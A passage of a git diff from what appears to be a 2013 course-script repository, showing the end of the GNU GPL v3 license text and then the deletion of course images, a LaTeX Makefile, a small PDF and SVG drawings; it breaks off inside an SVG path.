CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - <one line to give the program's name and a brief idea of what it does.> - Copyright (C) <year> <name of author> - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - <program> Copyright (C) <year> <name of author> - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -<http://www.gnu.org/licenses/>. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -<http://www.gnu.org/philosophy/why-not-lgpl.html>. diff --git a/script/Holding-a-ruling-pen-edited-2.jpg b/script/Holding-a-ruling-pen-edited-2.jpg deleted file mode 100644 index 60f9bddd8de07558f46228901e1c9d6716632f00..0000000000000000000000000000000000000000 Binary files a/script/Holding-a-ruling-pen-edited-2.jpg and /dev/null differ diff --git a/script/Holding-a-ruling-pen-edited.jpg b/script/Holding-a-ruling-pen-edited.jpg deleted file mode 100644 index e0b436abfdb81234ef7d6cc7dfa126d8537b0084..0000000000000000000000000000000000000000 Binary files a/script/Holding-a-ruling-pen-edited.jpg and /dev/null differ diff --git a/script/Holding-a-ruling-pen.jpg b/script/Holding-a-ruling-pen.jpg deleted file mode 100644 index a7f10aafb0e2118254eb5e9875ad14a862a40b47..0000000000000000000000000000000000000000 Binary files a/script/Holding-a-ruling-pen.jpg and /dev/null differ diff --git a/script/IC_Nanotecnology_2400X.JPG b/script/IC_Nanotecnology_2400X.JPG deleted file mode 100644 index a64dbfb91048d93f1e9141ef9e433bbf584911cd..0000000000000000000000000000000000000000 Binary files a/script/IC_Nanotecnology_2400X.JPG and /dev/null differ diff --git a/script/Intel_80486DX2_bottom.jpg b/script/Intel_80486DX2_bottom.jpg deleted file mode 100644 index 51196ca09c87a5d8aa9a59d5189e18fd792fc48b..0000000000000000000000000000000000000000 Binary files a/script/Intel_80486DX2_bottom.jpg and /dev/null differ diff --git a/script/Intel_80486DX2_top.jpg b/script/Intel_80486DX2_top.jpg deleted file mode 100644 index fb83e35c9564e3380e0d5314f968fc8fff9f480f..0000000000000000000000000000000000000000 Binary files a/script/Intel_80486DX2_top.jpg and /dev/null differ diff --git a/script/Makefile b/script/Makefile deleted file mode 100644 index c035f705340f897238f4c582a7e9a615c5794343..0000000000000000000000000000000000000000 --- a/script/Makefile +++ /dev/null @@ -1,31 +0,0 @@ -script = rtech-2013ws -pdf = $(script).pdf -src = *.tex *.sty *.pdf *.jpg *.png GNU-GPL-3 CC-BY-SA-3.0 - -all: $(pdf) - -$(pdf): $(script).tex - pdflatex --shell-escape $(script).tex - pdflatex $(script).tex - pdflatex $(script).tex - grep "Stand:" $(script).tex - -clean: - rm -f $(script).aux $(script).log $(script).toc $(script).lof $(script)-fig* tmp.inputs - -dist: $(pdf) - if [ -e "$(script)" ]; then \ - echo "$(script) exists - move it away"; \ - else \ - mkdir -p $(script)/slides $(script)/examples $(script)/material $(script)/src; \ - cp -a $(pdf) $(script)/; \ - cp -a slides/* $(script)/src/; \ - mv $(script)/src/*.pdf $(script)/slides/; \ - cp -a examples/* $(script)/examples/; \ - cp -a material/* $(script)/material/; \ - cp -a $(src) $(script)/src/; \ - rm $(script)/src/$(script)*.pdf; \ - rm $(script)/src/$(script)-fig*.tex; \ - tar czf $(script).tar.gz $(script); \ - rm -rf $(script); \ - fi diff --git a/script/Relay_principle_horizontal-edited.jpg b/script/Relay_principle_horizontal-edited.jpg deleted file mode 100644 index ab9ffcd879a04f523118ba1a58f52ee8ad1d30db..0000000000000000000000000000000000000000 Binary files a/script/Relay_principle_horizontal-edited.jpg and /dev/null differ diff --git a/script/Relay_principle_horizontal.jpg b/script/Relay_principle_horizontal.jpg deleted file mode 100644 index 357527ccfc7e8ca74f7ad3e6c5be563feeba2d11..0000000000000000000000000000000000000000 Binary files a/script/Relay_principle_horizontal.jpg and /dev/null differ diff --git a/script/Transistors-white.jpg b/script/Transistors-white.jpg deleted file mode 100644 index 96ed2f0193a64c059473b253eb81ae1bdcc09b2e..0000000000000000000000000000000000000000 Binary files a/script/Transistors-white.jpg and /dev/null differ diff --git a/script/Trommeltrocknen.pdf b/script/Trommeltrocknen.pdf deleted file mode 100644 index 63adea249a42fa1cc4b35df841a4634847091c87..0000000000000000000000000000000000000000 --- a/script/Trommeltrocknen.pdf +++ /dev/null @@ -1,69 +0,0 @@ -%PDF-1.4 -%���� -3 0 obj -<< /Length 4 0 R - /Filter /FlateDecode ->> -stream -x�mPK -B1��scҾ�N .ԥ�� -�<����>[��Mg�L>7ԳY`~��8��!�QR�r/��CXp�+ܠ�bV�A�����Q�88\�"Rb��"��"�`�N�7CEً5��ţ)+���Ւ��ob3;&g� ��v����_}�7A�q�n�5����[���No�Cшip찅��_��R-�iV�� �(UD -endstream -endobj -4 0 obj - 202 -endobj -2 0 obj -<< - /ExtGState << - /a0 << /CA 1 /ca 1 >> - >> ->> -endobj -5 0 obj -<< /Type /Page - /Parent 1 0 R - /MediaBox [ 0 0 300 300 ] - /Contents 3 0 R - /Group << - /Type /Group - /S /Transparency - /CS /DeviceRGB - >> - /Resources 2 0 R ->> -endobj -1 0 obj -<< /Type /Pages - /Kids [ 5 0 R ] - /Count 1 ->> -endobj -6 0 obj -<< /Creator (cairo 1.8.10 (http://cairographics.org)) - /Producer (cairo 1.8.10 (http://cairographics.org)) ->> -endobj -7 0 obj -<< /Type /Catalog - /Pages 1 0 R ->> -endobj -xref -0 8 -0000000000 65535 f -0000000587 00000 n -0000000315 00000 n -0000000015 00000 n -0000000293 00000 n -0000000387 00000 n -0000000652 00000 n -0000000779 00000 n -trailer -<< /Size 8 - /Root 7 0 R - /Info 6 0 R ->> -startxref -831 -%%EOF diff --git a/script/Trommeltrocknen.svg b/script/Trommeltrocknen.svg deleted file mode 100644 index b42b2f4684d9f00f5c02dcf54459a8dee35ef0d1..0000000000000000000000000000000000000000 --- a/script/Trommeltrocknen.svg +++ /dev/null @@ -1,25 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - version="1.0" - x="0.0000000" - y="0.0000000" - width="375.00000" - height="375.00000" - id="svg1568"> - <defs - id="defs1570" /> - <path - d="M 297.02530,187.18597 C 297.03472,124.52065 247.99622,73.715206 187.50092,73.715206 C 127.00562,73.715206 77.967116,124.52065 77.976526,187.18597 C 77.967116,249.85130 127.00562,300.65674 187.50092,300.65674 C 247.99622,300.65674 297.03472,249.85130 297.02530,187.18597 L 297.02530,187.18597 z " - style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:9.7576847;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000" - id="path1580" /> - <rect - width="247.54399" - height="247.54399" - x="63.728004" - y="63.728004" - style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:12.500000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-dasharray:none;stroke-opacity:1.0000000" - id="rect1542" /> -</svg> diff --git a/script/UnderCon_icon.pdf b/script/UnderCon_icon.pdf deleted file mode 100644 index 16bc3d736041743e19cb49895b8c3bbd4c9b7335..0000000000000000000000000000000000000000 Binary files a/script/UnderCon_icon.pdf and /dev/null differ diff --git a/script/UnderCon_icon.svg b/script/UnderCon_icon.svg deleted file mode 100644 index 4a3edc1d47c8a17ba6d5e2391a45115edc362d5c..0000000000000000000000000000000000000000 --- a/script/UnderCon_icon.svg +++ /dev/null @@ -1,91 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> - -<svg - xmlns:ns="http://ns.adobe.com/SaveForWeb/1.0/" - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://creativecommons.org/ns#" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - version="1.1" - width="192.97749" - height="169.01122" - viewBox="0 0 192.97749 169.01121" - id="svg2" - xml:space="preserve" - inkscape:version="0.48.2 r9819" - sodipodi:docname="AJAX1.svg"><sodipodi:namedview - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1" - objecttolerance="10" - gridtolerance="10" - guidetolerance="10" - inkscape:pageopacity="0" - inkscape:pageshadow="2" - inkscape:window-width="1280" - inkscape:window-height="1004" - id="namedview8" - showgrid="false" - fit-margin-top="0" - fit-margin-left="0" - fit-margin-right="0" - fit-margin-bottom="0" - inkscape:zoom="3.7083822" - inkscape:cx="68.74417" - inkscape:cy="132.60196" - inkscape:window-x="-8" - inkscape:window-y="-8" - inkscape:window-maximized="1" - inkscape:current-layer="svg2" /><defs - id="defs9" /> -<metadata - id="metadata3"> - <ns:sfw> - <ns:slices /> - <ns:sliceSourceBounds - bottomLeftOrigin="true" - x="200" - y="336" - width="193" - height="169" /> - </ns:sfw> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - <dc:title /> - </cc:Work> - </rdf:RDF> - <ns:sfw> - <ns:slices /> - <ns:sliceSourceBounds - bottomLeftOrigin="true" - x="200" - y="336" - width="193" - height="169" /> - </ns:sfw> -</metadata> -<path - d="M 96.491487,12.513757 74.182375,50.757948 12.491487,156.51375 l 167.999993,0 z" - id="path5" - style="fill:none;stroke:#cccccc;stroke-width:25;stroke-linejoin:round;stroke-opacity:1" - inkscape:connector-curvature="0" - sodipodi:nodetypes="ccccc" /> -<path - d="m 96.491487,12.513757 -84,143.999993 H 180.49148 L 96.491487,12.513757 z" - id="path7" - style="fill:#ffffff;stroke:#cc0000;stroke-width:17;stroke-linejoin:round" - inkscape:connector-curvature="0" /> -<path - d="m 92.003487,120.07175 c -0.01,-0.302 -0.102,-0.597 -0.266,-0.849 l -6.617,-10.23 -10.359,-5.482 -15.7,29.648 c -0.509,0.967 -0.778,2.043 -0.778,3.137 0,2.481 1.373,4.757 3.566,5.917 l 16.556,-31.27 6.957,10.757 0.521,14.066 c 0.134,3.6 3.09,6.446 6.692,6.446 0.115,0 0.136,0 0.25,-0.003 l -0.822,-22.137 m -13.825,-24.807993 -1.322,2.496 -3.953,-3.267 -1.772,3.351 c -1.919,-1.018 -3.122,-3.01 -3.122,-5.181 0,-0.954 0.234,-1.896 0.682,-2.742 l 4.824,-9.105 c 0.724,-1.372 2.147,-2.229 3.698,-2.229 h 14.772 c 3.701,0 6.695,3 6.695,6.699 0,0.145 -0.001,0.284 -0.013,0.429 l -1.633,25.125993 15.708993,13.062 c -0.607,0.72 -1.379,1.281 -2.252,1.64 l -13.677993,-11.297 -0.184,2.84 c -3.081,-0.198 -5.48,-2.758 -5.48,-5.849 0,-0.13 0.005,-0.246 0.011,-0.375 